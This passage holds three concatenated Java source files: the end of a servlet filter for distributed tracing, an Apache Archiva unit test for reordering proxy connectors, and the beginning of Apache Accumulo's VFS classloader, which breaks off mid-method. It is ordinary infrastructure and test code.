this.tagAndNamingAdapter = initializeTagAndNamingAdapter(filterConfig);
}
@Override
public void destroy() {
// Nothing to do
}
/**
* Wrapper around {@link #doFilterInternal(HttpServletRequest, HttpServletResponse, FilterChain)} to make sure this
* filter's logic is only executed once per request.
*/
@Override
public void doFilter(ServletRequest request,
ServletResponse response,
FilterChain filterChain) throws IOException, ServletException {
if (!(request instanceof HttpServletRequest) || !(response instanceof HttpServletResponse)) {
throw new ServletException(this.getClass().getName() + " only supports HTTP requests");
}
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
boolean filterHasAlreadyExecuted = request.getAttribute(FILTER_HAS_ALREADY_EXECUTED_ATTRIBUTE) != null;
if (filterHasAlreadyExecuted || skipDispatch(httpRequest)) {
// Already executed or we're supposed to skip, so continue the filter chain without doing the
// distributed tracing work.
filterChain.doFilter(request, response);
}
else {
// Time to execute the distributed tracing logic.
request.setAttribute(FILTER_HAS_ALREADY_EXECUTED_ATTRIBUTE, Boolean.TRUE);
doFilterInternal(httpRequest, httpResponse, filterChain);
}
}
/**
* Performs the distributed tracing work for each request's overall span. Guaranteed to only be called once per
* request.
*/
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain filterChain) throws ServletException, IOException {
// Surround the tracing filter logic with a try/finally that guarantees the original tracing and MDC info found
// on the current thread at the beginning of this method is restored to this thread before this method
// returns, even if the request ends up being an async request. Otherwise there's the possibility of
// incorrect tracing information sticking around on this thread and potentially polluting other requests.
TracingState originalThreadInfo = TracingState.getCurrentThreadTracingState();
try {
Span overallRequestSpan = createNewSpanForRequest(request);
// Put the new span's trace info into the request attributes.
addTracingInfoToRequestAttributes(overallRequestSpan, request);
// Make sure we set the trace ID on the response header now before the response is committed (if we wait
// until after the filter chain then the response might already be committed, silently preventing us
// from setting the response header)
response.setHeader(TraceHeaders.TRACE_ID, overallRequestSpan.getTraceId());
TracingState originalRequestTracingState = TracingState.getCurrentThreadTracingState();
Throwable errorForTagging = null;
try {
tagAndNamingStrategy.handleRequestTagging(overallRequestSpan, request, tagAndNamingAdapter);
filterChain.doFilter(request, response);
} catch(Throwable t) {
errorForTagging = t;
throw t;
} finally {
if (isAsyncRequest(request)) {
// Async, so we need to attach a listener to complete the original tracing state when the async
// servlet request finishes.
// The listener will also add tags and set a final span name once the request is complete.
setupTracingCompletionWhenAsyncRequestCompletes(
request, response, originalRequestTracingState, tagAndNamingStrategy, tagAndNamingAdapter
);
}
else {
// Not async, so we need to finalize and complete the request span now.
try {
// Handle response/error tagging and final span name.
tagAndNamingStrategy.handleResponseTaggingAndFinalSpanName(
overallRequestSpan, request, response, errorForTagging, tagAndNamingAdapter
);
}
finally {
// Complete the overall request span.
Tracer.getInstance().completeRequestSpan();
}
}
}
}
finally {
//noinspection deprecation
unlinkTracingFromCurrentThread(originalThreadInfo);
}
}
/**
* @param request The incoming request.
* @return A new {@link Span} for the overall request. This inspects the incoming request's headers to determine
* if it should continue an existing trace with a child span, or whether a brand new trace needs to be started.
* {@link #getInitialSpanName(HttpServletRequest, HttpTagAndSpanNamingStrategy, HttpTagAndSpanNamingAdapter)}
* is used to generate the initial span name.
*/
protected Span createNewSpanForRequest(HttpServletRequest request) {
// See if there's trace info in the incoming request's headers. If so it becomes the parent trace.
Tracer tracer = Tracer.getInstance();
final Span parentSpan = HttpSpanFactory.fromHttpServletRequest(request, getUserIdHeaderKeys());
Span newSpan;
if (parentSpan != null) {
logger.debug("Found parent Span {}", parentSpan);
newSpan = tracer.startRequestWithChildSpan(
parentSpan,
getInitialSpanName(request, tagAndNamingStrategy, tagAndNamingAdapter)
);
}
else {
newSpan = tracer.startRequestWithRootSpan(
getInitialSpanName(request, tagAndNamingStrategy, tagAndNamingAdapter),
HttpSpanFactory.getUserIdFromHttpServletRequest(request, getUserIdHeaderKeys())
);
logger.debug("Parent span not found, starting a new span {}", newSpan);
}
return newSpan;
}
/**
* Helper method for adding tracing-related request attributes to the given request based on the given span.
*
* @param span The span for the overall request.
* @param request The request object to add tracing-related request attributes to.
*/
protected void addTracingInfoToRequestAttributes(Span span, HttpServletRequest request) {
request.setAttribute(TraceHeaders.TRACE_SAMPLED, span.isSampleable());
request.setAttribute(TraceHeaders.TRACE_ID, span.getTraceId());
request.setAttribute(TraceHeaders.SPAN_ID, span.getSpanId());
request.setAttribute(TraceHeaders.PARENT_SPAN_ID, span.getParentSpanId());
request.setAttribute(TraceHeaders.SPAN_NAME, span.getSpanName());
request.setAttribute(Span.class.getName(), span);
}
/**
* @param request The incoming request.
* @param namingStrategy The {@link HttpTagAndSpanNamingStrategy} that should be used to try and generate the
* initial span name - cannot be null.
* @param adapter The {@link HttpTagAndSpanNamingAdapter} that should be passed to the given {@code namingStrategy}
* to try and generate the initial span name - cannot be null.
* @return The human-readable name to be given to a {@link Span} representing this request. By default this method
* attempts to use {@link HttpTagAndSpanNamingStrategy#getInitialSpanName(Object, HttpTagAndSpanNamingAdapter)}
* with the given {@code namingStrategy} and {@code adapter} for generating the name, and falls back to
* {@link HttpSpanFactory#getSpanName(HttpServletRequest)} if the {@link HttpTagAndSpanNamingStrategy} returns
* null or blank.
*/
protected String getInitialSpanName(
HttpServletRequest request,
HttpTagAndSpanNamingStrategy<HttpServletRequest, ?> namingStrategy,
HttpTagAndSpanNamingAdapter<HttpServletRequest, ?> adapter
) {
// Try the naming strategy first.
String spanNameFromStrategy = namingStrategy.getInitialSpanName(request, adapter);
if (StringUtils.isNotBlank(spanNameFromStrategy)) {
return spanNameFromStrategy;
}
// The naming strategy didn't have anything for us. Fall back to something reasonable.
return HttpSpanFactory.getSpanName(request);
}
/**
* @return true if {@link #doFilterInternal(HttpServletRequest, HttpServletResponse, FilterChain)} should be
* skipped (and therefore prevent distributed tracing logic from starting), false otherwise. This defaults to
* returning false so the first execution of this filter will always trigger distributed tracing, so if you have a
* need to skip distributed tracing for a request you can override this method and have whatever logic you need.
*/
@SuppressWarnings("unused")
protected boolean skipDispatch(HttpServletRequest request) {
return false;
}
/**
* The dispatcher type {@code javax.servlet.DispatcherType.ASYNC} introduced in Servlet 3.0 means a filter can be
* invoked in more than one thread over the course of a single request. This method should return {@code true} if
* the filter is currently executing within an asynchronous dispatch.
*
* @param request the current request
*
* @deprecated This method is no longer used to determine whether this filter should execute, and will be removed
* in a future update. It remains here only to prevent breaking impls that overrode the method.
*/
@Deprecated
protected boolean isAsyncDispatch(HttpServletRequest request) {
return getServletRuntime(request).isAsyncDispatch(request);
}
/**
* The list of header keys that will be used to search the request headers for a user ID to set on the {@link Span}
* for the request. The user ID header keys will be searched in list order, and the first non-empty user ID header
* value found will be used as the {@link Span#getUserId()}. You can safely return null or an empty list for this
* method if there is no user ID to extract; if you return null/empty then the request span's {@link
* Span#getUserId()} will be null.
*
* <p>By default this method will return the list specified via the {@link
* #USER_ID_HEADER_KEYS_LIST_INIT_PARAM_NAME} init param, or null if that init param does not exist.
*
* @return The list of header keys that will be used to search the request headers for a user ID to set on the
* {@link Span} for the request. This method may return null or an empty list if there are no user IDs to search
* for.
*/
protected List<String> getUserIdHeaderKeys() {
return userIdHeaderKeysFromInitParam;
}
/**
* Helper method for determining (and then caching) the {@link ServletRuntime} implementation appropriate for
* the current Servlet runtime environment. If the current Servlet runtime environment supports the Servlet 3 API
* (i.e. async requests) then a Servlet-3-async-request-capable implementation will be returned, otherwise a
* Servlet-2-blocking-requests-only implementation will be returned. The first time this method is called the
* result will be cached, and the cached value returned for subsequent calls.
*
* @param request The concrete {@link ServletRequest} implementation use to determine the Servlet runtime
* environment.
*
* @return The {@link ServletRuntime} implementation appropriate for the current Servlet runtime environment.
*/
protected ServletRuntime getServletRuntime(ServletRequest request) {
// It's ok that this isn't synchronized - this logic is idempotent and if it's executed a few extra times
// due to concurrent requests when the service first starts up it won't hurt anything.
if (servletRuntime == null) {
servletRuntime = ServletRuntime.determineServletRuntime(request.getClass(), ASYNC_LISTENER_CLASSNAME);
}
return servletRuntime;
}
/**
* Returns the value of calling {@link ServletRuntime#isAsyncRequest(HttpServletRequest)} on the {@link
* ServletRuntime} returned by {@link #getServletRuntime(ServletRequest)}. This method is here to allow
* easy overriding by subclasses if needed, where {@link ServletRuntime} is not in scope.
*
* @param request The request to inspect to see if it's part of an async servlet request or not.
*
* @return the value of calling {@link ServletRuntime#isAsyncRequest(HttpServletRequest)} on the {@link
* ServletRuntime} returned by {@link #getServletRuntime(ServletRequest)}.
*/
protected boolean isAsyncRequest(HttpServletRequest request) {
return getServletRuntime(request).isAsyncRequest(request);
}
/**
* Delegates to {@link
* ServletRuntime#setupTracingCompletionWhenAsyncRequestCompletes(HttpServletRequest, HttpServletResponse,
* TracingState, HttpTagAndSpanNamingStrategy, HttpTagAndSpanNamingAdapter)}, with the {@link ServletRuntime}
* retrieved via {@link #getServletRuntime(ServletRequest)}. This method is here to allow easy overriding by
* subclasses if needed, where {@link ServletRuntime} is not in scope.
*
* @param asyncRequest The async servlet request (guaranteed to be async since this method will only be called when
* {@link #isAsyncRequest(HttpServletRequest)} returns true).
* @param asyncResponse The servlet response object - needed for span tagging.
* @param originalRequestTracingState The {@link TracingState} that was generated when this request started, and
* which should be completed when the given async servlet request finishes.
* @param tagAndNamingStrategy The {@link HttpTagAndSpanNamingStrategy} that should be used for final span name
* and tagging.
* @param tagAndNamingAdapter The {@link HttpTagAndSpanNamingAdapter} that should be used by
* {@code tagAndNamingStrategy} for final span name and tagging.
*/
protected void setupTracingCompletionWhenAsyncRequestCompletes(
HttpServletRequest asyncRequest,
HttpServletResponse asyncResponse,
TracingState originalRequestTracingState,
HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> tagAndNamingStrategy,
HttpTagAndSpanNamingAdapter<HttpServletRequest,HttpServletResponse> tagAndNamingAdapter
) {
getServletRuntime(asyncRequest).setupTracingCompletionWhenAsyncRequestCompletes(
asyncRequest, asyncResponse, originalRequestTracingState, tagAndNamingStrategy, tagAndNamingAdapter
);
}
/**
* @param filterConfig The {@link FilterConfig} for initializing this Servlet filter.
* @return The list of user ID header keys that should be used by this instance, based on the given {@link
* FilterConfig#getInitParameter(String)} for the {@link #USER_ID_HEADER_KEYS_LIST_INIT_PARAM_NAME} init param.
* May return null or empty list if there are no specified user ID header keys.
*/
protected List<String> initializeUserIdHeaderKeys(FilterConfig filterConfig) {
String userIdHeaderKeysListString = filterConfig.getInitParameter(USER_ID_HEADER_KEYS_LIST_INIT_PARAM_NAME);
if (userIdHeaderKeysListString != null) {
List<String> parsedList = new ArrayList<>();
for (String headerKey : userIdHeaderKeysListString.split(",")) {
String trimmedHeaderKey = headerKey.trim();
if (trimmedHeaderKey.length() > 0)
parsedList.add(trimmedHeaderKey);
}
return Collections.unmodifiableList(parsedList);
}
return null;
}
/**
* @param filterConfig The {@link FilterConfig} for initializing this Servlet filter.
* @return The {@link HttpTagAndSpanNamingStrategy} that should be used by this instance. Delegates to
* {@link #getTagStrategyFromName(String)}, and uses {@link #getDefaultTagStrategy()} as a last resort if
* {@link #getTagStrategyFromName(String)} throws an exception.
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> initializeTagAndNamingStrategy(
FilterConfig filterConfig
) {
String tagStrategyString = filterConfig.getInitParameter(TAG_AND_SPAN_NAMING_STRATEGY_INIT_PARAM_NAME);
try {
return getTagStrategyFromName(tagStrategyString);
} catch(Throwable t) {
logger.warn("Unable to match tagging strategy " + tagStrategyString + ". Using default Zipkin strategy", t);
return getDefaultTagStrategy();
}
}
/**
* @param filterConfig The {@link FilterConfig} for initializing this Servlet filter.
* @return The {@link HttpTagAndSpanNamingAdapter} that should be used by this instance. Delegates to
* {@link #getTagAdapterFromName(String)}, and uses {@link #getDefaultTagAdapter()} as a last resort if
* {@link #getTagAdapterFromName(String)} throws an exception.
*/
protected HttpTagAndSpanNamingAdapter<HttpServletRequest, HttpServletResponse> initializeTagAndNamingAdapter(
FilterConfig filterConfig
) {
String tagAdapterString = filterConfig.getInitParameter(TAG_AND_SPAN_NAMING_ADAPTER_INIT_PARAM_NAME);
try {
return getTagAdapterFromName(tagAdapterString);
} catch(Throwable t) {
logger.warn(
"Unable to match tagging adapter " + tagAdapterString + ". Using default ServletRequestTagAdapter",
t
);
return getDefaultTagAdapter();
}
}
/**
* Uses the given {@code strategyName} to determine and generate the {@link HttpTagAndSpanNamingStrategy} that
* should be used by this instance. This method looks for the following short names first:
* <ul>
* <li>
* {@code ZIPKIN} (or a null/blank {@code strategyName}) - causes {@link #getZipkinHttpTagStrategy()} to be
* returned
* </li>
* <li>{@code OPENTRACING} - causes {@link #getOpenTracingHttpTagStrategy()} to be returned</li>
* <li>{@code NONE} - causes {@link #getNoOpTagStrategy()} to be returned</li>
* </ul>
*
* If {@code strategyName} does not match any of those short names, then it is assumed to be a fully qualified
* class name. {@link Class#forName(String)} will be used to get the class, and then it will be instantiated
* via {@link Class#newInstance()} and cast to the necessary {@link HttpTagAndSpanNamingStrategy}. This means a
* class instantiated this way must have a default no-arg constructor and must extend {@link
* HttpTagAndSpanNamingStrategy}.
*
* <p>NOTE: This method may throw a variety of exceptions if {@code strategyName} does not match a short name,
* and {@link Class#forName(String)} or {@link Class#newInstance()} fails to instantiate it as a fully qualified
* class name (or if it was instantiated but couldn't be cast to the necessary {@link
* HttpTagAndSpanNamingStrategy}). Callers should account for this possibility and have a reasonable default
* fallback if an exception is thrown.
*
* @param strategyName The short name or fully qualified class name of the {@link HttpTagAndSpanNamingStrategy}
* that should be used by this instance. If this is null or blank, then {@link #getZipkinHttpTagStrategy()} will
* be returned.
* @return The {@link HttpTagAndSpanNamingStrategy} that should be used by this instance.
*/
@SuppressWarnings("unchecked")
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> getTagStrategyFromName(
String strategyName
) throws ClassNotFoundException, IllegalAccessException, InstantiationException, ClassCastException {
// Default is the Zipkin strategy
if (StringUtils.isBlank(strategyName) || "zipkin".equalsIgnoreCase(strategyName)) {
return getZipkinHttpTagStrategy();
}
if("opentracing".equalsIgnoreCase(strategyName)) {
return getOpenTracingHttpTagStrategy();
}
if("none".equalsIgnoreCase(strategyName) || "noop".equalsIgnoreCase(strategyName)) {
return getNoOpTagStrategy();
}
// At this point there was no short-name match. Try instantiating it by classname.
return (HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse>)
Class.forName(strategyName).newInstance();
}
/**
* Uses the given {@code adapterName} to determine and generate the {@link HttpTagAndSpanNamingAdapter} that
* should be used by this instance.
*
* <p>If {@code adapterName} is null or blank, then {@link #getDefaultTagAdapter()} will be returned. Otherwise,
* it is assumed to be a fully qualified class name. {@link Class#forName(String)} will be used to get the class,
* and then it will be instantiated via {@link Class#newInstance()} and cast to the necessary
* {@link HttpTagAndSpanNamingAdapter}. This means a class instantiated this way must have a default no-arg
* constructor and must extend {@link HttpTagAndSpanNamingAdapter}.
*
* <p>NOTE: This method may throw a variety of exceptions if {@link Class#forName(String)} or
* {@link Class#newInstance()} fails to instantiate it as a fully qualified class name (or if it was instantiated
* but couldn't be cast to the necessary {@link HttpTagAndSpanNamingAdapter}). Callers should account for this
* possibility and have a reasonable default fallback if an exception is thrown.
*
* @param adapterName The fully qualified class name of the {@link HttpTagAndSpanNamingAdapter} that should be
* used by this instance, or pass null/blank if you want {@link #getDefaultTagAdapter()} to be returned.
* @return The {@link HttpTagAndSpanNamingAdapter} that should be used by this instance.
*/
@SuppressWarnings("unchecked")
protected HttpTagAndSpanNamingAdapter<HttpServletRequest, HttpServletResponse> getTagAdapterFromName(
String adapterName
) throws ClassNotFoundException, IllegalAccessException, InstantiationException {
// Default is the ServletRequestTagAdapter
if (StringUtils.isBlank(adapterName)) {
return getDefaultTagAdapter();
}
// There are no shortnames for the adapter like there are for strategy. Try instantiating by classname
return (HttpTagAndSpanNamingAdapter<HttpServletRequest, HttpServletResponse>)
Class.forName(adapterName).newInstance();
}
/**
* @return {@link ZipkinHttpTagStrategy#getDefaultInstance()}.
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> getZipkinHttpTagStrategy() {
return ZipkinHttpTagStrategy.getDefaultInstance();
}
/**
* @return {@link OpenTracingHttpTagStrategy#getDefaultInstance()}.
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> getOpenTracingHttpTagStrategy() {
return OpenTracingHttpTagStrategy.getDefaultInstance();
}
/**
* @return {@link NoOpHttpTagStrategy#getDefaultInstance()}.
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> getNoOpTagStrategy() {
return NoOpHttpTagStrategy.getDefaultInstance();
}
/**
* @return {@link #getZipkinHttpTagStrategy()} (i.e. the default tag and naming strategy is the Zipkin tag strategy).
*/
protected HttpTagAndSpanNamingStrategy<HttpServletRequest, HttpServletResponse> getDefaultTagStrategy() {
return getZipkinHttpTagStrategy();
}
/**
* @return {@link ServletRequestTagAdapter#getDefaultInstance()} (i.e. the default tag and naming adapter is
* {@link ServletRequestTagAdapter}).
*/
protected HttpTagAndSpanNamingAdapter<HttpServletRequest, HttpServletResponse> getDefaultTagAdapter() {
return ServletRequestTagAdapter.getDefaultInstance();
}
}
| |
package org.apache.maven.archiva.web.action.admin.connectors.proxy;
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
import com.opensymphony.xwork2.Action;
import org.apache.commons.lang.StringUtils;
import org.apache.maven.archiva.configuration.ArchivaConfiguration;
import org.apache.maven.archiva.configuration.Configuration;
import org.apache.maven.archiva.configuration.IndeterminateConfigurationException;
import org.apache.maven.archiva.configuration.ManagedRepositoryConfiguration;
import org.apache.maven.archiva.configuration.ProxyConnectorConfiguration;
import org.apache.maven.archiva.configuration.RemoteRepositoryConfiguration;
import org.apache.maven.archiva.configuration.functors.ProxyConnectorConfigurationOrderComparator;
import org.apache.maven.archiva.web.action.AbstractWebworkTestCase;
import org.codehaus.redback.integration.interceptor.SecureActionBundle;
import org.codehaus.plexus.registry.RegistryException;
import org.easymock.MockControl;
import java.util.Collections;
import java.util.List;
/**
* SortProxyConnectorsActionTest
*
* @version $Id$
*/
public class SortProxyConnectorsActionTest
extends AbstractWebworkTestCase
{
private static final String JAVAX = "javax";
private static final String CENTRAL = "central";
private static final String CORPORATE = "corporate";
private static final String CODEHAUS = "codehaus";
private SortProxyConnectorsAction action;
private MockControl archivaConfigurationControl;
private ArchivaConfiguration archivaConfiguration;
public void testSecureActionBundle()
throws Exception
{
expectConfigurationRequests( 1 );
archivaConfigurationControl.replay();
SecureActionBundle bundle = action.getSecureActionBundle();
assertTrue( bundle.requiresAuthentication() );
assertEquals( 1, bundle.getAuthorizationTuples().size() );
}
public void testSortDown()
throws Exception
{
expectConfigurationRequests( 7 );
archivaConfigurationControl.replay();
action.setSource( CORPORATE );
action.setTarget( CENTRAL );
String status = action.sortDown();
assertEquals( Action.SUCCESS, status );
assertOrder( new String[] { JAVAX, CENTRAL, CODEHAUS } );
}
public void testSortDownPastEnd()
throws Exception
{
expectConfigurationRequests( 7 );
archivaConfigurationControl.replay();
// Ask the last connector to sort down (essentially a no-op)
action.setSource( CORPORATE );
action.setTarget( CODEHAUS );
String status = action.sortDown();
assertEquals( Action.SUCCESS, status );
// No order change.
assertOrder( new String[] { CENTRAL, JAVAX, CODEHAUS } );
}
public void testSortUp()
throws Exception
{
expectConfigurationRequests( 7 );
archivaConfigurationControl.replay();
action.setSource( CORPORATE );
action.setTarget( CODEHAUS );
String status = action.sortUp();
assertEquals( Action.SUCCESS, status );
assertOrder( new String[] { CENTRAL, CODEHAUS, JAVAX } );
}
public void testSortUpPastBeginning()
throws Exception
{
expectConfigurationRequests( 7 );
archivaConfigurationControl.replay();
// Ask the first connector to sort up (essentially a no-op)
action.setSource( CORPORATE );
action.setTarget( CENTRAL );
String status = action.sortUp();
assertEquals( Action.SUCCESS, status );
// No order change.
assertOrder( new String[] { CENTRAL, JAVAX, CODEHAUS } );
}
private void assertOrder( String[] targetRepoOrder )
{
List<ProxyConnectorConfiguration> connectors = archivaConfiguration.getConfiguration().getProxyConnectors();
Collections.sort( connectors, ProxyConnectorConfigurationOrderComparator.getInstance() );
for ( ProxyConnectorConfiguration connector : connectors )
{
assertEquals( "All connectors in list should have the same source id (in this test)", CORPORATE, connector
.getSourceRepoId() );
}
assertEquals( targetRepoOrder.length, connectors.size() );
int orderFailedAt = ( -1 );
for ( int i = 0; i < targetRepoOrder.length; i++ )
{
if ( !StringUtils.equals( targetRepoOrder[i], connectors.get( i ).getTargetRepoId() ) )
{
orderFailedAt = i;
break;
}
}
if ( orderFailedAt >= 0 )
{
StringBuffer msg = new StringBuffer();
msg.append( "Failed expected order of the proxy connectors <" );
msg.append( StringUtils.join( targetRepoOrder, ", " ) );
msg.append( ">, actual <" );
boolean needsComma = false;
for ( ProxyConnectorConfiguration proxy : connectors )
{
if ( needsComma )
{
msg.append( ", " );
}
msg.append( proxy.getTargetRepoId() );
needsComma = true;
}
msg.append( "> failure at index <" ).append( orderFailedAt ).append( ">." );
fail( msg.toString() );
}
}
private Configuration createInitialConfiguration()
{
Configuration config = new Configuration();
ManagedRepositoryConfiguration managedRepo = new ManagedRepositoryConfiguration();
managedRepo.setId( CORPORATE );
managedRepo.setLayout( "${java.io.tmpdir}/archiva-test/managed-repo" );
managedRepo.setReleases( true );
config.addManagedRepository( managedRepo );
RemoteRepositoryConfiguration remoteRepo = new RemoteRepositoryConfiguration();
remoteRepo.setId( CENTRAL );
remoteRepo.setUrl( "http://repo1.maven.org/maven2/" );
config.addRemoteRepository( remoteRepo );
remoteRepo = new RemoteRepositoryConfiguration();
remoteRepo.setId( JAVAX );
remoteRepo.setUrl( "http://download.java.net/maven/2/" );
config.addRemoteRepository( remoteRepo );
remoteRepo = new RemoteRepositoryConfiguration();
remoteRepo.setId( CODEHAUS );
remoteRepo.setUrl( "http://repository.codehaus.org/" );
config.addRemoteRepository( remoteRepo );
ProxyConnectorConfiguration connector = new ProxyConnectorConfiguration();
connector.setSourceRepoId( CORPORATE );
connector.setTargetRepoId( CENTRAL );
connector.setOrder( 1 );
config.addProxyConnector( connector );
connector = new ProxyConnectorConfiguration();
connector.setSourceRepoId( CORPORATE );
connector.setTargetRepoId( JAVAX );
connector.setOrder( 2 );
config.addProxyConnector( connector );
connector = new ProxyConnectorConfiguration();
connector.setSourceRepoId( CORPORATE );
connector.setTargetRepoId( CODEHAUS );
connector.setOrder( 3 );
config.addProxyConnector( connector );
return config;
}
private void expectConfigurationRequests( int requestConfigCount )
throws RegistryException, IndeterminateConfigurationException
{
Configuration config = createInitialConfiguration();
for ( int i = 0; i < requestConfigCount; i++ )
{
archivaConfiguration.getConfiguration();
archivaConfigurationControl.setReturnValue( config );
}
archivaConfiguration.save( config );
}
@Override
protected void setUp()
throws Exception
{
super.setUp();
action = (SortProxyConnectorsAction) lookup( Action.class.getName(), "sortProxyConnectorsAction" );
archivaConfigurationControl = MockControl.createControl( ArchivaConfiguration.class );
archivaConfiguration = (ArchivaConfiguration) archivaConfigurationControl.getMock();
action.setArchivaConfiguration( archivaConfiguration );
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.accumulo.start.classloader.vfs;
import java.io.File;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.lang.ref.WeakReference;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.apache.accumulo.start.classloader.AccumuloClassLoader;
import org.apache.commons.io.FileUtils;
import org.apache.commons.vfs2.CacheStrategy;
import org.apache.commons.vfs2.FileObject;
import org.apache.commons.vfs2.FileSystemException;
import org.apache.commons.vfs2.FileSystemManager;
import org.apache.commons.vfs2.FileType;
import org.apache.commons.vfs2.cache.SoftRefFilesCache;
import org.apache.commons.vfs2.impl.DefaultFileSystemManager;
import org.apache.commons.vfs2.impl.FileContentInfoFilenameFactory;
import org.apache.commons.vfs2.impl.VFSClassLoader;
import org.apache.commons.vfs2.provider.FileReplicator;
import org.apache.commons.vfs2.provider.hdfs.HdfsFileObject;
import org.apache.commons.vfs2.provider.hdfs.HdfsFileProvider;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* This class builds a hierarchy of Classloaders in the form of:
*
* <pre>
* SystemClassLoader that loads JVM classes
* ^
* |
* AccumuloClassLoader loads jars from locations in general.classpaths. Usually the URLs for HADOOP_HOME, ZOOKEEPER_HOME, ACCUMULO_HOME and their associated directories
* ^
* |
* VFSClassLoader that loads jars from locations in general.vfs.classpaths. Can be used to load accumulo jar from HDFS
* ^
* |
* AccumuloReloadingVFSClassLoader That loads jars from locations in general.dynamic.classpaths. Used to load jar dynamically.
*
* </pre>
*
*
*/
public class AccumuloVFSClassLoader {
public static class AccumuloVFSClassLoaderShutdownThread implements Runnable {
@Override
public void run() {
try {
AccumuloVFSClassLoader.close();
} catch (Exception e) {
// do nothing, we are shutting down anyway
}
}
}
private static List<WeakReference<DefaultFileSystemManager>> vfsInstances = Collections
.synchronizedList(new ArrayList<WeakReference<DefaultFileSystemManager>>());
public static final String DYNAMIC_CLASSPATH_PROPERTY_NAME = "general.dynamic.classpaths";
public static final String DEFAULT_DYNAMIC_CLASSPATH_VALUE = "$ACCUMULO_HOME/lib/ext/[^.].*.jar";
public static final String VFS_CLASSLOADER_SYSTEM_CLASSPATH_PROPERTY = "general.vfs.classpaths";
public static final String VFS_CONTEXT_CLASSPATH_PROPERTY = "general.vfs.context.classpath.";
public static final String VFS_CACHE_DIR = "general.vfs.cache.dir";
private static ClassLoader parent = null;
private static volatile ReloadingClassLoader loader = null;
private static final Object lock = new Object();
private static ContextManager contextManager;
private static final Logger log = LoggerFactory.getLogger(AccumuloVFSClassLoader.class);
static {
// Register the shutdown hook
Runtime.getRuntime().addShutdownHook(new Thread(new AccumuloVFSClassLoaderShutdownThread()));
}
public synchronized static <U> Class<? extends U> loadClass(String classname, Class<U> extension) throws ClassNotFoundException {
try {
return getClassLoader().loadClass(classname).asSubclass(extension);
} catch (IOException e) {
throw new ClassNotFoundException("IO Error loading class " + classname, e);
}
}
public static Class<?> loadClass(String classname) throws ClassNotFoundException {
return loadClass(classname, Object.class).asSubclass(Object.class);
}
static FileObject[] resolve(FileSystemManager vfs, String uris) throws FileSystemException {
return resolve(vfs, uris, new ArrayList<FileObject>());
}
static FileObject[] resolve(FileSystemManager vfs, String uris, ArrayList<FileObject> pathsToMonitor) throws FileSystemException {
if (uris == null)
return new FileObject[0];
ArrayList<FileObject> classpath = new ArrayList<>();
pathsToMonitor.clear();
for (String path : uris.split(",")) {
path = path.trim();
if (path.equals(""))
continue;
path = AccumuloClassLoader.replaceEnvVars(path, System.getenv());
FileObject fo = vfs.resolveFile(path);
switch (fo.getType()) {
case FILE:
case FOLDER:
classpath.add(fo);
pathsToMonitor.add(fo);
break;
case IMAGINARY:
// assume its a pattern
String pattern = fo.getName().getBaseName();
if (fo.getParent() != null && fo.getParent().getType() == FileType.FOLDER) {
pathsToMonitor.add(fo.getParent());
FileObject[] children = fo.getParent().getChildren();
for (FileObject child : children) {
if (child.getType() == FileType.FILE && child.getName().getBaseName().matches(pattern)) {
classpath.add(child);
}
}
} else {
log.warn("ignoring classpath entry " + fo);
}
break;
default:
log.warn("ignoring classpath entry " + fo);
break;
}
}
return classpath.toArray(new FileObject[classpath.size()]);
}
private static ReloadingClassLoader createDynamicClassloader(final ClassLoader parent) throws FileSystemException, IOException {
String dynamicCPath = AccumuloClassLoader.getAccumuloString(DYNAMIC_CLASSPATH_PROPERTY_NAME, DEFAULT_DYNAMIC_CLASSPATH_VALUE);
String envJars = System.getenv("ACCUMULO_XTRAJARS");
if (null != envJars && !envJars.equals(""))
if (dynamicCPath != null && !dynamicCPath.equals(""))
dynamicCPath = dynamicCPath + "," + envJars;
else
dynamicCPath = envJars;
ReloadingClassLoader wrapper = new ReloadingClassLoader() {
@Override
public ClassLoader getClassLoader() {
return parent;
}
};
if (dynamicCPath == null || dynamicCPath.equals(""))
return wrapper;
// TODO monitor time for lib/ext was 1 sec... should this be configurable? - ACCUMULO-1301
return new AccumuloReloadingVFSClassLoader(dynamicCPath, generateVfs(), wrapper, 1000, true);
}
public static ClassLoader getClassLoader() throws IOException {
ReloadingClassLoader localLoader = loader;
while (null == localLoader) {
synchronized (lock) {
if (null == loader) {
FileSystemManager vfs = generateVfs();
// Set up the 2nd tier class loader
if (null == parent) {
parent = AccumuloClassLoader.getClassLoader();
}
FileObject[] vfsCP = resolve(vfs, AccumuloClassLoader.getAccumuloString(VFS_CLASSLOADER_SYSTEM_CLASSPATH_PROPERTY, ""));
